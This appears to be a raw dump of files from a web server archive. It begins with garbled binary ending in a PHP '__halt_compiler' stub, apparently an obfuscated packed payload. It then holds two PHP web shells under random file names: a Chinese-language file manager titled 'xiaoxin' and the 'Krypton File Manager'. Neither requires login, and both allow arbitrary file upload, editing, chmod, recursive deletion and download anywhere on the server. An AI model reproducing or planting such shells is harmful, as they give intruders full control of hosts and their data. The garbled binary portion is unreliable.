p�R���9�T���^薾�x�4աC[U�>���;��Ƨ�F�	�\\94����Ƴ/G޺r�9:h��oQ 9䙹�xK��u���l_N78c�%���ɡ�u||@����Sn��pӤ;B�1������U h�|A�eD\\���|�`�1 9�?����+WJ9��\"�
��c����'?��+hj��A�\$�wE�P��A���Ⱥy�/��|�P��9�Mj�؃�C���.�&?�z�h���#��wsz�<H�[��H�k�^pݬQ@!��n�eaD��|ݶp:�)�w�l9r@M�'k�g�=ɏ(c󷃰��/��,�Ps�3˶��qn�����'j��i7ٕpC\\�7c�yn��b\\���)L��~�\\���.B�eXv��pFӡ�;�dwC��߱�ߥ>��k[�v��H5��t�m��ܫ�F�%@�[Z�/�%�E%/�ӹ<9ꚳ����������Q��ީ�۳����@�i��&�~3�M���0S���K��^�0�����Qq�(���^|j*�Rs��'C�V�K3��7�H��'�Ղ�%�eo�̄07:�Y���=uI�f�	�&�4����w�P�Uocemnnif���7Δ=����;�̏���4C,F�0�N�pJ�BZb��fd1'T�g�i�u�t���\"�1��Dp�!�M9‹?��}P�Tf���6Q;���(4��v/kL+�N�Ȓ����u��nJu`���tZ�Kԛ���xfZ#��U�s�Lֺtbp��T�ۥRʧ�=�����Ry�-v]B�i���C�+�
v,��b�=s�\"Γ�]���gy�,��ӕ�A'���\"���I��D{�K-
^h�O��U4\"u��1�'���ts��6��]�fIC^�
�N�����k�J�C�����
rΕ�i�E�� �s7fϼ��Q��(u����	UJ����{Z9ƾϠh�n�„ҵ�Y��D���%݃��@�[�u�uP�@���
<3?�m��,픫��{�	�7zWq��?j:���q����U���X.��х:>m�\$��0���o	.�
Z�D�3p���,��˜�8������ϒ��p��:#>Qk��_EwY���QsC��+�J�\$�h��_!��[z%�B�5����z�\\U�\\̷��!1���ؒ2�(�/>��z��UA�v���ɀ��c���^`͢@��E�}�;�h�ވ��{�:�%��\\��+}o_���H?��5��\\��^o[���剂��[�p��týp֟�\"΍f�}6\"ZW�vIake��z�ٯſS����?\"����h�7&yo��\"[ƒ�}�/�f�+p2G��l[������!3��)
����iQ>�jw�l3���=)��,�=/.�ޖ��u����?�y�y�Ourb2|m��DS�tE�{\\�F����&��M��cw�E�;�#�E�2n�ف�ݮ �yr-7A!ŹYm�I/�0P����R���9dn��Ϝ���pˎ`�sS�R�;��g�'<j�>	,�O� \"��@��lߍ7
��.�޸Og��8����J��*�2����	N�Cz������R�/��#����n�0�_D]BDA��ᶐz��K?�����Q7<�T衰�YS*<D�\"1☷��
����O���M�'\$���-ɠ�k��*MZ\\�ځf/�w��+���@-������H]K=Ш>g.,2�3+��玺
�q�ヌՠv���
��5�3j�!�8�9"));__halt_compiler();�����������Ў��Ǎ��
Ж�����Ӑ���������������׽�����Ļ�����乬�����ʨ�����������������������
�ķ�ـΧ�
ޛ�ݑ�����������ڃ���͞��������Ǜ���鏌��������϶�Ƒ�����������ˬޗ��³ȋ��	��ᴫ������׸����ҍ�
�����������ҍ���۩�
�Ֆ���������	��Ə���A.�Đ�-�MW=�̕�>��J�\6�����XǺ�
���	�wg	��S����qc�/��DS����_���A�ۘO{��J1�]\qPWF����Z'e|��s*_ӶoR����-���k҄wq|�G��ٗE�%�[��8{t�A�_������V6}RCߛ_ꍁL^0��<@*D���"Y�k�79q�������^�:��_V��A���t�|�F+y^�h�B��G�Ga��۷h��%X��K�iB��b�2��a:N� \Q�l0�s&���˙���>٤3cpo��ds��$�;�B\�C	����LK�H�տ1��
�,�yO�+Y�ވZ����@������>4�	/)omXF��0�v�e9 \D�2���nn��h�@�Fq���D-zQ��;h����A$�F��K�ѯ `3�'ތ��>�zM3C�1O�mME<zvy,^����ǛV�y�j?���+��sr�K�L������"��`N~�KB����B�2�}B��NS����ar���zb0ɽ��l�c��	�ǫ6>S��B`���K��%��DY���i�)7%_>�_ƃ�EՃ�ћ���I?B�ą)�K�J�E�=��^�(���,����ox�������]�[�$���s^�0ٕ9�\<��L�ox�v+\"�h��<mh.�������oy��k��N�v����v}8�
�!�=K8����-{%��q��M��i�4�O���n\?5B
8e��� ��'��1w�Y-M{��r^C����g������
}��VF�X��j����R��y6�΄-�7�E�K����2��#W/#�����<'�O�1��K��ú�Qo�(ͻ�Wh���դ�Ǿ�c&IF+���̡��_Ի��2y�?�Дc�KBWp>�G�#�ʃ`�� ��k)�#���՟�a�d��i�$�[�M�L���@��ٯ���M
q1�Կ��p>v��̬d��$Y�N�%7����H�XUy5�I
-�N��U�����l`.�G���߆^�$��������Z�~�8�e_��/��=k�g�7�����K�
��D��E
�P9/��$>�VP�\(�r�Q{�V(�P����Fqq0�lA>��ֻY ����)/�[]�@���[���3�wα�v�Fj�}���a�˽`�B�qF�}>��X��|-ԓ�Ոf�u�������_n�5]+�tm����9 ]�-Dw6�5�?�-��]s"+(C�|e(�y���~44�'�)M~��O�u=�B=U��b��x��\��c��#D-iB��o��^�"Z�T'�u^m6��+Y��t��gT*ɜ�ҿ*����uX�+Eӫ��=�X*��xudW��>�6�����Z�&���\� x�,�#�m���x�*�
�z�����f�xAN�<�ͱ�AW��<s|s[���bYF]��x+"�
�Ь��迍QP3۪�l{�m�㶸��z��f�
~*[_4��V.���|T9���9�9���}�{ˠ�7_�4��ѩ<�	�����`�n�E��u��I��0"�4�����|���N���)�x_%x���o�J}t�($P��D�KUk��}���Hψ�)�$ǎmf�JAT�@L�Q�#�$
�}�s�	XE+x�ڒ2�:"fm8��ܩ�_.�2H�iXWD�O�?dGL<�Z;2�&��*�f	&H<�Wr�N�n�K}�cQ%w�����;��E��؃w�����8#�`Ka�XoZIM�N'.�r�'S�j_v�[q6}=>�jQ ���"<�ꦽ�V��˷p�-����g�=ø�X@v�/^����(�Wx�|��VhԠ:i�iK0l�E2_�N�jZ��0�1�i�&�݉jx����"J�4M�%��gU�\6�T~$��/��&q�n�K��d8��@e������U��,4}G�h��(pZ4!Y<I�HD�~=P�#n��(*T�x�.�O�#5x�RTx��Lj��:����߮|6Dc�qavgy.php000064400000027472151550413350006422 0ustar00<?php

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);

// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) $dirs[] = $item;
    else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);

// ✅ 打包选中项 zip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['zip_selected'], $_POST['selected_items'])) {
    set_time_limit(0);

    $timestamp = time();
    $zipFileName = 'selected_' . $timestamp . '.zip';
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    $zip = new ZipArchive();
    if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($_POST['selected_items'] as $item) {
            $path = realpath($item);
            if (!$path || !file_exists($path)) continue;

            if (is_file($path)) {
                $zip->addFile($path, basename($path));
            } elseif (is_dir($path)) {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                foreach ($iterator as $file) {
                    $filePath = $file->getRealPath();
                    $localPath = substr($filePath, strlen($dir) + 1);
                    $zip->addFile($filePath, $localPath);
                }
            }
        }
        $zip->close();

        $message = "✅ ZIP 已生成:<a href='?download_zip=" . urlencode($zipFileName) . "'>点击下载</a>";
        $messageType = "success";

    } else {
        $message = "ZIP 打包失败";
        $messageType = "danger";
    }
}


// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
    $zipFileName = basename($_GET['download_zip']);
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    if (file_exists($zipFilePath)) {
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
        header('Content-Length: ' . filesize($zipFilePath));

        $fp = fopen($zipFilePath, 'rb');
        if ($fp) {
            while (!feof($fp)) {
                echo fread($fp, 1024 * 1024);
                flush();
            }
            fclose($fp);
        }
        unlink($zipFilePath);
        exit;
    } else {
        echo "<div class='alert alert-danger'>ZIP 文件不存在或已过期。</div>";
    }
}

// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadFile = $_FILES['file'];
    $targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
    if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
        $message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
        $messageType = "success";
    } else {
        $message = "文件上传失败";
        $messageType = "danger";
    }
}

// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
    $name = trim($_POST['new_name']);
    $type = $_POST['new_type'];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if ($name !== '') {
        if ($type === 'file') {
            if (file_put_contents($path, '') !== false) {
                $message = "文件创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件创建失败";
                $messageType = "danger";
            }
        } elseif ($type === 'folder') {
            if (mkdir($path)) {
                $message = "文件夹创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件夹创建失败";
                $messageType = "danger";
            }
        }
    } else {
        $message = "名称不能为空";
        $messageType = "warning";
    }
}

// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
    $chmodFile = realpath($_POST['chmod_file']);
    $mode = octdec($_POST['chmod_mode']);
    if ($chmodFile && file_exists($chmodFile)) {
        if (chmod($chmodFile, $mode)) {
            $message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
            $messageType = "success";
        } else {
            $message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) {
        deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
    }
    return rmdir($path);
}

if (isset($_GET['delete'])) {
    $deletePath = realpath($_GET['delete']);
    if ($deletePath && strpos($deletePath, $dir) === 0) {
        if (deleteRecursive($deletePath)) {
            $message = "删除成功: " . htmlspecialchars(basename($deletePath));
            $messageType = "success";
        } else {
            $message = "删除失败: " . htmlspecialchars(basename($deletePath));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 编辑文件(读取内容)
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
    $editFile = realpath($_GET['edit']);
    if ($editFile && is_file($editFile)) {
        $editContent = file_get_contents($editFile);
    } else {
        $message = "无法编辑该文件";
        $messageType = "danger";
    }
}

// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
    $filePath = realpath($_POST['edit_file']);
    if ($filePath && is_file($filePath)) {
        file_put_contents($filePath, $_POST['content']);
        $message = "文件已保存";
        $messageType = "success";
    } else {
        $message = "无法写入文件";
        $messageType = "danger";
    }
}


// 生成面包屑
function generateBreadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathAccum = '';
    $breadcrumb = [];
    foreach ($parts as $part) {
        if ($part === '') continue;
        $pathAccum .= DIRECTORY_SEPARATOR . $part;
        $breadcrumb[] = "<a href='?dir=" . urlencode(realpath($pathAccum)) . "'>" . htmlspecialchars($part) . "</a>";
    }
    return implode(" / ", $breadcrumb);
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>xiaoxin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="icon" href="https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico">
<style>
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
</style>
<script>
function confirmDelete(file) {
    return confirm("确定删除: " + file + " 吗?此操作不可恢复!");
}
</script>
</head>
<body>
<div class="container mt-4">

<h5 class="mb-3">目录: <?php echo generateBreadcrumb($dir); ?></h5>

<?php if (!empty($message)): ?>
    <div class="alert alert-<?php echo $messageType; ?> py-2"><?php echo $message; ?></div>
<?php endif; ?>

<!-- ✅ 已移除“打包当前目录”按钮 -->

<!-- 创建文件/文件夹 -->
<h6 class="mb-2">创建文件/文件夹</h6>
<form method="post" class="d-flex gap-1 mb-3">
    <input type="text" name="new_name" class="form-control-sm" placeholder="名称" required>
    <select name="new_type" class="form-select-sm" required>
        <option value="file">文件</option>
        <option value="folder">文件夹</option>
    </select>
    <button type="submit" class="btn btn-success btn-sm">创建</button>
</form>

<!-- 上传文件 -->
<h6 class="mb-2">上传文件</h6>
<form method="post" enctype="multipart/form-data" class="d-flex gap-1 mb-3">
    <input type="file" name="file" required>
    <button type="submit" class="btn btn-primary btn-sm">上传</button>
</form>

<?php if ($editFile): ?>
<h6>编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h6>
<form method="post">
    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
    <textarea name="content" class="form-control mb-2" rows="12"><?php echo htmlspecialchars($editContent); ?></textarea>
    <div class="d-flex gap-1">
        <button type="submit" class="btn btn-warning btn-sm">保存修改</button>
        <a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-secondary btn-sm">取消</a>
    </div>
</form>

<?php else: ?>

<!-- ✅ zip 表单单独 -->
<form method="post" id="zipForm">
<table class="table table-striped table-hover table-sm">
    <thead class="table-dark">
        <tr>
            <th><input type="checkbox" id="checkAll"></th>
            <th>名称</th>
            <th>类型</th>
            <th>操作</th>
        </tr>
    </thead>
    <tbody>
        <?php
        $parent = dirname($dir);
        if ($parent !== $dir) {
            echo "<tr><td></td><td><a href='?dir=" . urlencode($parent) . "'>.. (上级目录)</a></td><td>目录</td><td></td></tr>";
        }
        foreach ($items as $item) {
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            echo "<tr>";
            echo "<td><input type='checkbox' class='chkItem' name='selected_items[]' value='" . htmlspecialchars($path) . "'></td>";
            if (is_dir($path)) {
                echo "<td><a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></td><td>目录</td>";
            } else {
                echo "<td>" . htmlspecialchars($item) . "</td><td>文件</td>";
            }
            echo "<td class='d-flex gap-1 align-items-center'>";

            if (is_file($path)) {
                echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($path) . "' class='btn btn-warning btn-sm px-2 py-1'>编辑</a>";
            }

            echo "<form method='post' action='?dir=" . urlencode($dir) . "' style='display:inline-block'>
                <input type='hidden' name='chmod_file' value='" . htmlspecialchars($path) . "'>
                <input type='text' name='chmod_mode' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' size='4' class='form-control form-control-sm d-inline-block' style='width:60px'>
                <button type='submit' class='btn btn-info btn-sm px-2 py-1'>权限</button>
            </form>";

            echo "<a href='?dir=" . urlencode($dir) . "&delete=" . urlencode($path) . "' class='btn btn-danger btn-sm px-2 py-1' onclick='return confirmDelete(\"" . htmlspecialchars($item) . "\");'>删除</a>";

            echo "</td>";
            echo "</tr>";
        }
        ?>
    </tbody>
</table>

<button type="submit" name="zip_selected" class="btn btn-dark btn-sm mb-3">打包选中项</button>
</form>

<?php endif; ?>

</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById("checkAll").onclick = function() {
    document.querySelectorAll(".chkItem").forEach(c => c.checked = this.checked);
};
</script>
</body>
</html>
9gvid.php000064400000122157151550413350006311 0ustar00<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
